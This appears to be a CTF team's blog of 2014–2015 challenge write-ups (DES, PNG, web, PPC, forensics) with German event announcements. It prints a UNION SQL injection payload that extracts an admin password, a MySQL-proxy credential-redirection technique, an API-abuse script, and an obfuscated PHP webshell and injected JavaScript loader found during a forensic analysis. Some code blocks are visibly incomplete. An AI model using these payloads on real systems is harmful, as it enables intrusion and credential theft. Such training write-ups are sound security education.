ASIS CTF Finals 2015 – 10-SED (crypto 175)

October 12, 2015

In this challenge we were given the source of a server which encrypts and decrypt messages for us with DES, a ciphertext and some kind of key.

After looking at the source, you can observe how it handles the userinput, namely using the “key” to generate indices for reading from its own private key-list and en/decrypting a given text with said keys.
For a given key the server also checks the length of the input to match (after hex-decoding) 3 (a valid key would thus e.g. be “001122”; more on that later).

An example run would look like this: send the key “414243”, server takes the “subkeys” (his private keys) at those positions from its key-list and en/decrypts userinput with those and returns


Nothing special about it yet. Special is the fact that there is a comment in the source “assert len(key) == 3#10”. If you take a look at the given “enc” file you can see the “key” in there is (after hex-decoding) of length 10.
What this means is that the ciphertext we have is the flag encrypted, 10 (!) times with some keys we don’t know (only the server does, we know the *positions* of those keys though). Luckily we can tell the server to decrypt it for us. If it wasn’t for the fact that the number got change from 10 to 3.
The decryption seems impossible now because the server only does decryption for us if we provide exactly 3 key-positions. Apparently we can “reduce” the encryption of the flag to 1 instead of 10 encryption rounds like this:

cipher = "7f62a70857410e0e9c2bb283fc9807f8b1d34bcf7a2b456e965e860e5c6818b40ac596fa43492c30"
# originalkey = 97c4b5a27177406c404f --- this means 10 positions for keys were given and the flag encrypted accordingly
first = interact(s, cipher, "6c404f", "DEC")
second = interact(s, first, "717740", "DEC")
third = interact(s, second, "c4b5a2", "DEC")

(short explanation: slice the given key(s) into groups of 3 and do decryption with them – full script will be shown in the end)

However what we get from that is a flag that is still encrypted with the key at position 97. There is no way to get a completely unencrypted flag it seems, until you check out the wiki article about DES:

And this is the whole trick of the challenge:
There seem to exist some keys which have the property Ek(Ek(input)) = input (Equivalent to Dk(Dk(input)) = input)

This fits exactly what we need. The only thing left is running the decryption in a loop with all keys like “000097”, “010197”, “020297”,…
To be more precise: decrypt our flag which is only decrpyted with key at position “97” with the keys at following positions: “97” “00” “00” etc. etc. and wait.
Sadly, we don’t get a flag. It turned out, for some reason, ASIS didn’t go with this vulnerability but chose to take the one which requires much more bruteforcing:
We need to find two distinct keys k1, k2 which have the property Ek1(Ek2(plain)) = plain (the second “weakness” described in the wiki article).
So, same as above, but instead of iterating over 256 keys, we iterate over 256*256 keys… But after a while we get:

[#] testing da4f97
[enc] recv: Enter your key(hex encoded):
[enc] sent: da4f97
[enc] recv: Enter your message(hex encoded):
[enc] sent: 15c876f9e9a20af6d2e40c5fc7de5e721f50460969a5be17fdb8c5b5a01e70da05944650ae57e2b3
[enc] recv: Enter your command(ENC/DEC):
[enc] sent: DEC
[enc] recv: message(hex encoded):
[enc] result: 0e4eca072f192237f7dddb44aa441f06479fff6ee8f628b2e8e2e540d7062f56fd8293c249069f2c
[#] GOT PLAIN: '\x0eN\xca\x07/\x19"7\xf7\xdd\xdbD\xaaD\x1f\x06G\x9f\xffn\xe8\xf6(\xb2\xe8\xe2\xe5@\xd7\x06/V\xfd\x82\x93\xc2I\x06\x9f,'
[#] testing da5097
[enc] recv: Enter your key(hex encoded):
[enc] sent: da5097
[enc] recv: Enter your message(hex encoded):
[enc] sent: 15c876f9e9a20af6d2e40c5fc7de5e721f50460969a5be17fdb8c5b5a01e70da05944650ae57e2b3
[enc] recv: Enter your command(ENC/DEC):
[enc] sent: DEC
[enc] recv: message(hex encoded):
[enc] result: 415349537b39303135326333643665363635386632303537626261346338383965356364617d0000
[#] GOT PLAIN: 'ASIS{90152c3d6e6658f2057bba4c889e5cda}\x00\x00'

… a flag! 😀

Apparently keys at possitions 0xda and 0x50 fullfil the second property!
Really a very interesting challenge overall! I would have liked if the possitions of the keys were a bit more bruteforce-“friendly” though (like “02” “05”), since I almost gave up after a couple of tousand iterations.
This is how I got the flag a bit more quickly, professional multithreading.

Full script here, as of writing this, the ASIS service is still up for testing 🙂


ASIS CTF Finals 2015 – Strange (misc 150)

October 12, 2015

After downloading the ASIS typical .tar.xz archive, we got a png file with 14MB. After extracting we noticed that the file has dimensions of 344987×344987 pixels. OK that is huge! Since there was no preview of the picture generated, which would indicate a normal picture with something attached after the picture, we tried to open it with Photoshop and Matlab but that resulted, in my case, with my MacBook telling me there is no memory left while Matlab used 60GB memory. Now let’s inspect the file with a hex-editor:


Here we see there are just zeros, but somewhere in the middle there is some data. So we used binwalk to extract the zlib part of the png file and decompressed the raw zlib stream. This gave us a the raw image data file with a size of 14GB. From inspecting the image with tweakpng we knew the png file uses a palette with two colors and 1bit per pixel.

To get the important information we opened the raw image data file in a hex-editor and search for data. Since the data in the file is a 1 dimensional array which will be converted into a 2 dimensional array by the rendering routine, we have to look for several positions with data. In the middle of the file we found the hex strings shown below. To find them we searched the file for the bit sequence “11” and got several positions.

So we extracted the following hex strings:



The end was quite simple: loop through each string, convert it to binary, check if value is 1, if so draw a black pixel, open picture and copy and submit the flag.

from PIL import Image
lines = [


im ="RGB",(400,50),"white")
imo = im.load()
for y,l in enumerate(lines):
  g = bin(int(l, 16))[2:]
  for x,b in enumerate(g):
    if b == "1":
      imo[x,y] = (0,0,0)"strange-flag.png")


Thanks ASIS for this quite nice challenge 🙂


Squareroots & kitCTF @ GPN15

May 31, 2015

This post intentionally left german.

Bereits gegen 5 schleichen sich die ersten Sonnenstrahlen in unser HLab und sorgen für unschöne Reflektionen auf unseren Monitoren. Das wohl beste Mittel dagegen? – Gulasch!

Zusammen mit dem Team kitCTF veranstalten wir auch in diesem Jahr einen CTF im Rahmen der GPN15. Wir bieten euch spannendes Echtzeit Hacking, Nervenkitzel und riskantes Live-Patching. Kurzum dieses Jahr ist unser CTF serverbased (mehr zu den Regeln und dem Ablauf).

Also schnappt euch ein Team, packt neben eurem Gulasch-Löffel noch einen Laptop ein und kommt zu unserer Eröffnungsveranstaltung (05.06.2015 20:00) nach Karlsruhe. Ach und meldet euch doch bitte schon einmal an, damit wir besser skalieren können :).

Wir freuen uns auf euch 🙂


0ctf 2015 quals – forward (web250)

March 30, 2015

At the start we’ve only got an url to our target webserver:

Bildschirmfoto 2015-03-30 um 18.14.33

When we click on “Login” we get a javascript popup which tells us “You Are Not Authorized!”. Then we click on “FLAG”, because that’s what we want. Unfortunately we don’t get a flag yet, but the source code of admin.php is revealed.

    if (isset($_GET['view-source'])) {
    include("./inc.php"); // key & database config

    function err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"); }

    $nonce = mt_rand();

    extract($_GET); // this is my backdoor 🙂
    if (empty($_POST['key'])) {

        err("Parameter Missing!");

    if ($_POST['key'] !== $key) {
        err("You Are Not Authorized!");

    $conn = mysql_connect($host, $user, $pass);

    if (!$conn) {
        err("Database Error, Please Contact with GameMaster!");

    $query = isset($_POST['query']) ? bin2hex($_POST['query']) : "SELECT flag FROM forward.flag";
    $res = mysql_query($query);
    if (FALSE == $res) {
        err("Database Error, Please Contact with GameMaster!");

    $row = mysql_fetch_array($res);

    if ($debug) {
        echo "HOST:\t{$host}<br/>";
        echo "USER:\t{$user}<br/>";

    echo "<del>FLAG:\t0ctf{</del>" . sha1($nonce . md5($row['flag'])) . "<del>}</del><br/>"; // not real flag


Now we inspect the code and find the comment “this is my backdoor :)”. After looking up what extract($_GET) does, it was clear that we can (re)define our own variables and values here using GET parameters. We’re also able to overwrite values which were set earlier. Inserting our own sql query however is not possible. If we alter the query in any way it is replaced by its hex-representation. Since it should be impossible to generate a valid query using the “bin2hex” php function, this is also a dead end.

Now we asked ourselves why it is possible to display the IP and the username of the mysql connection. If we change the host-parameter for the mysql_conenct() function maybe we can get mysql credentials. It really seemed like this was the case, because the remote host had an open mysql port. It turns out we can recover the username, but it was impossible to get the password (Checking the protocol specification would have helped).

So what do we have? We can make mysql user connect (with the correct password) to a server of our choice but not recover the password and also can’t directly alter the query. This was the point when we finally came up with the right idea: Use a proxy which forwards the mysql connection back to the original server.

php with our $host and unaltered user/password -> mysql-proxy (WE) -> remote host -> “select flag from forward.flag” -> [plaintext flag] -> mysql-proxy -> php

Because we didn’t think the flag is really in “forward.flag” we set up “mysql-proxy” to alter the query if we need to. After changing the host value via the get parameter to our server ip, we got a result from the php script, which means the connection was successful by using our mysql-proxy. To get the result of the query we just had to start tcpdump and capture all traffic from and to the mysql-proxy.

After inspecting the dump in wireshark we found this string “0ctf{w3ll_d0ne_guY}”

This is (roughly) how everything looked like in the end (The Firefox addon “HttpRequester” on the right to alter http requests) :



Squareroots CTF‑Workshop – März 2015

March 5, 2015

This page is intentionally left german.

Auch dieses Semester veranstalten wir, die squareroots, am Wochenende von Freitag den 20. bis Sonntag den 22 März 2015 einen Workshop in den Räumlichkeiten der Universität Mannheim.
Wie bereits bei unseren vorherigen Workshops werden wir neben Einführungen in verschiedene Technologien und Werkzeuge auch den Ablauf von CTF-Wettbewerben vorstellen.

Anmeldungen sind ab sofort möglich auf!



Squareroots hacking the Himalaya

November 4, 2014

Himalaya, 24th of October 2014

We are in one of the world’s most targeted areas when it comes to cyber attacks:
Dharamsala, India, HQ of the Tibetan Exile Government is one of the main targets
of Chinese hackers.

Here, over 70 hackers from all over the world met for the hillhacks hacking
conference ( One of the participating hackers was our member
floatec, who not only attended the event but also held a small lecture about CTF
Although we all know, that CTFs are not only a fun hobby, but also a good way to
motivate people to get in touch with topics of IT security, in India, these
kinds of competitions are mostly unknown.
So we needed to start from the very beginning: What are CTFs? How do they work?
What different types of CTFs exist and how can you organize your own one?

In the end, we showed and explained a bunch of useful tools for CTFs.
In only 60 minutes, we rushed through all the relevant topics.

But after all, the lecture was a success, as great parts of the audience were
really interested in the topic and planned to try out a CTF in the future.

A record of the talk will be made available in the near future by hasgeak from
Bangalore. We can just recommend you to visit the next hillhacks, which will
take place in May 2015.


floatec (r) gives a lecture about CTFs at hillhacks (photo © David Huang)

0 CTF 2014 – Killy The Bit (web200)

October 27, 2014

After reading other write-ups for this task (, I thought I should write one. Not that it is better (I really prefer the other solutions) but I find it interesting because it involves luck and brute force (that you actually don’t see often in a CTF :))

I looked at the challenge after the three hints were published: I know there is a passwd column, blind is a bad idea and it is possible to solve the challenge with one request

So here the relevant part of the source code (

There are 3 queries:

1. $res = mysql_query("SELECT name,email FROM user where name='".$_GET['name']."'");

if result then email is sent 
else continue

2. $res = mysql_query("SELECT name,email FROM user where name sounds like '".$_GET['name']."'");

if no result then “user not found, are you sure”
else continue

3. $res = mysql_query("SELECT name,email FROM user where name sounds like '".$_GET['name']."'");

if result then display the name

The output of the last query is then displayed so the idea would be to do a union with the passwd column to display it:

admi' UNION SELECT passwd,2 FROM USER WHERE NAME = 'admin' -- 

This would then display the admin password.
The problem is that this injection returns a result in the first query and therefore an email is sent and the program returns.

The expected solution was to simply add


In the first query, it doesn’t return anything (as the resultset only contains one entry but due to the offset 2 it is empty) but it returns an entry containing the password on the following queries.

I didn’t think about that…
Instead that’s what I wanted to do:
– I want query 1 to return an empty resultset (i.e. no password sent)
– I want query 2 to return a result (i.e. no “we couldn’t find a user, are you sure it is…”
– I want query 3 to return a result (the injection)

My idea was to use some kind of randomness in the query to make it works in 2 and 3 and fails in 1: for example WHERE RAND() > 0.5. By submitting the query multiple times, it should work at some stage 🙂 (probability of 1/8)
Unfortunately RAND() was filtered (because of the AND filter). Why isn’t it called RND()?

So let’s use SYSDATE() instead that returns the time in second when the query is executed. Idea is then to check the parity of the second: if uneven then true else false. It was not possible to work with millseconds with this mysql version.
Now is time to build the query. We need to restrict the password to the one from the admin and add the randomness. As AND and && were filtered, let’s use CASE:

' UNION SELECT passwd,1 FROM user WHERE CASE WHEN name = 'admin' THEN MOD(sysdate(),2) ELSE 0 END-- 

And now send the request until the first request is executed at an even second and the second and third at an uneven second.

Running the script:

-->A new password was generated and sent to your email address!
-->We couldn't find your username!<br>Are you sure it is ' union select passwd,passwd from user where case when name = 'admin' then MOD(sysdate(),2) else 0 end-- ?
-->A new password was generated and sent to your email address!
-->We couldn't find your username!<br>Are you sure it is ' union select passwd,passwd from user where case when name = 'admin' then MOD(sysdate(),2) else 0 end-- ?
-->We couldn't find your username!<br>Are you sure it is ' union select passwd,passwd from user where case when name = 'admin' then MOD(sysdate(),2) else 0 end-- ?
-->We couldn't find your username, but it sounds like this user:<br>flag{Killy_The_Bit_Is_Wanted_for_9000_$$_FoR_FlipPing_Bits}<br>


After maybe 40 tries I finally caught the right moment 😉



ASIS Finals 2014 – XOROR (PPC 150)

October 13, 2014


Connect here and find the flag:
nc 12431


Connecting to the given address, we are greeted by some ASCII art and a prompt to send “START” back to the server.

Screenshot from XORQR

Converting the “+” and “-” characters from the server to black and white pixels, you can recover something that looks like a QR code, however it seems damaged.
Remembering the name of the challenge or the ASCII art or by just analyzing the image, you can easily see that the QR code is in fact not damaged but rather some rows are simply flipped (xored).

A (converted) sample QR code looks like this:


Given that information, the challange is as follows:
Connect to the server, send “START”, quickly (there is a time limit of ~5 seconds for each round) convert the given “+” and “-” characters to a QR code, flip the correct rows, decode the QR code and send the content of the QR code back to the server (repeat x times).

So the next step is to figure out which rows are flipped/xored. When I first started, I thought this would be the main problem. Looking at the structure of QR codes it turns out this part will be quite easy:


Considering this, we can easily recover the xored rows. If you don’t quite understand the image: there is a so-called “timing pattern” in every QR code which is a fixed pattern of black and white pixels, no matter the size or the content of the QR code. The big black squares at the top and bottom left of are also always there. We can exploit those properties to reliably recover the original QR code.


Decoding the QR code is the last step and I chose the easy way. I saved the code as an image and submitted it to an online QR solver, parsed the result and got my answer.
After sucessfully decoding 14 QR codes, we get the flag (in the beginning there were 15 rounds but the QR code from round 15 was not decodable, ASIS later removed round 15):
sample output and flag

flag: ASIS_68d47fab03368ff94025a4f4a1dabf0f

And here the code for my solver: XORQR_final


ASIS Finals 2014 – Match the pair (Web/PPC 200)

October 13, 2014


Play 40 levels of the game quickly in order to get the authorization to see the flag


Match the pair is a traditional concentration mage and the user has to find eight image pairs containing a circle with the same color. The game logic is handled server side and the HTML code gives no hints for the pairs. The server randomly generates the images and if you request the image multiple times, the server generates different images but the color within the circle is equal.

You can play this game by hand and if you successfully found all eight pairs, a new level with new pairs starts. Eventually if you solved 40 levels successfully, the game rewards you with a flag. Depending on your talent, in practice the game resets the level count while you play the second or third level.

To circumvent this our first try automating the game was to simply brute force the game and compare the first image with the second, third … until we find a pair. Doing it that way was still not successful.

Looking a bit further into the game

As already, tolled above, the images are generated server side and their URL is{0..15}. If a player uncovers two images, let us say 3 and 12, game logic sends an Ajax request with the URL to validate the pair. The server responds with “f” in case the pair does not match or “ok” if the pair matches.

Playing around with this validation API, we recognized that the server always responds with “ok” if we set the same value for the parameter first and second (e.g. Always? No! The server only responds seven times with “ok” but the eighth time with “done”. Looking in the JavaScript of the game you will see that the game logic reloads the page after it received a “done”. Doing it manually in the browser, you see that you reached the second level. WOOHO! Let’s try again! Seven Requests to the send API, seven times “ok”, eighth request “done”, reload and welcome to level three.

Let’s automate!

We simply took parts of the games JavaScript, modified it a bit and created a recursive function that plays us some levels through requesting eight times the send API and then simulating a page reload.

function recurse(i, c) {
    url: '/send',
    data: {
      'first': 0,
      'second': 0
    timeout: 5000,
    success: function (data) {
      if (data != 'f' && data != 'ok' && data != 'done') {
      } else {
        if (i == 7) {
          if (++c != 41) {
            var xhr = new XMLHttpRequest();
  'GET', '/', false);
            console.log('Reached level ' + c);
            recurse(0, c);
          } else {
        } else {
          recurse(i + 1, c);
    error: function (jqXHR, textStatus, errorThrown) {
      console.log(JSON.stringify(jqXHR) + ' ' + textStatus + '  ' + errorThrown);
recurse(0, 1);

Passing this code into the JavaScript console of your browser and waiting some time will result in an alert telling you to visit


On this page, the flag ASIS_28ca740e382225131fc0501d38cf5d30 rewards your efforts.

Possible alternative solution

If you do not want to cheat the game, you have to put some more efforts in analyzing the images. It turned out that the images are PNG images with indexed colors. Thereby the ninth color seems to be the color of the circle for every image. So you only have to download all images, extract the color of the circle and then you can play the game with the true pairs.

However, hackers are lazy…


CSAW14 – Fluffy no more (Forensic 300)

September 24, 2014


OH NO WE’VE BEEN HACKED!!!!!! — said the Eye Heart Fluffy Bunnies Blog owner. Life was grand for the fluff fanatic until one day the site’s users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive foreign governments. The notorious “Forgotten Freaks” hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!??
Well… The fluff needs your stuff. I’ve pulled the logs from the server for you along with a backup of it’s database and configuration. Figure out what is going on!
Written by brad_anton

Here we have a WordPress blog that has been compromised.

A (quick) look in the folder named “html” shows an interesting “upload”-folder with an even more interesting template.php file:

 $hije = str_replace("ey","","seyteyrey_reyeeypleyaeyceye");
 $vyoh = $hije("n", "", "nbnansne64n_ndnecode");
 $bpzy = $hije("z","","zczreaztzez_zfzuznzcztzizon");
 $xhju = $bpzy('', $vyoh($hije("sq", "", $andp.$pvqw.$wfrm.$rhhm))); $xhju();

After deobfuscation:

 if(reset($a)=='ha' && $c($a)>3){
   echo '<'.$k.'>';
   echo ‘</'.$k.'>';

So if someone calls this page with specific cookies, he could be able to get a shell.

Let’s check the access.log if someone called it:

7534: - - [16/Sep/2014:20:42:54 +0000] "POST /wp-admin/admin-post.php?page=wysija_campaigns&action=themes HTTP/1.1" 302 385 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
7535: - - [16/Sep/2014:20:42:54 +0000] "GET /wp-content/uploads/wysija/themes/weblizer/template.php HTTP/1.1" 200 165 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”

Ok so someone with the IP has access to the web server. What did he do?

Looking in /var/log/auth.log, there is something interesting:

Sep 17 19:20:09 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js

So let’s have a look at this file. If we compare it with the original ( we can see that some code was added at the end

var g = "ti";
var c = "HTML Tags";
var f = ". li colgroup br src datalist script option .";
f = f.split(" ");
c = "";
k = "/";
m = f[6];
for (var i = 0; i < f.length; i++) {
 c += f[i].length.toString();
v = f[0];
x = "\'ht";
b = f[4];
f = 2541 * 6 - 35 + 46 + 12 - 15269;
c += f.toString();
f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
c += f.toString();
f = "";
c = c.split("");
var w = 0;
u = "s";
for (var i = 0; i < c.length; i++) {
 if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
 f += String.fromCharCode(46);
 f += c[i];
i = k + "anal";
document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");

After deobfuscation:

<script src=‘'></script>

So now we look at this javascript (a whois on the server shows that it belongs to “United States Brooklyn Polytechnic University” so we are on the right way 😉 ).
It looks like a normal analytic script but in the middle there is something hidden:

var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32
\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66",
 window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);

After deobfuscation:


So let’s open the pdf!

Still no flag… Let’s go deeper. We open the file with PDFStreamDumper and there is another obfuscated javascript

var _0xee0b = ["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20
\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0];

After another (and last) deobfuscation, we finally get the flag:
YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb 🙂

flag{Those Fluffy Bunnies Make Tummy Bumpy}

Get Adobe Flash player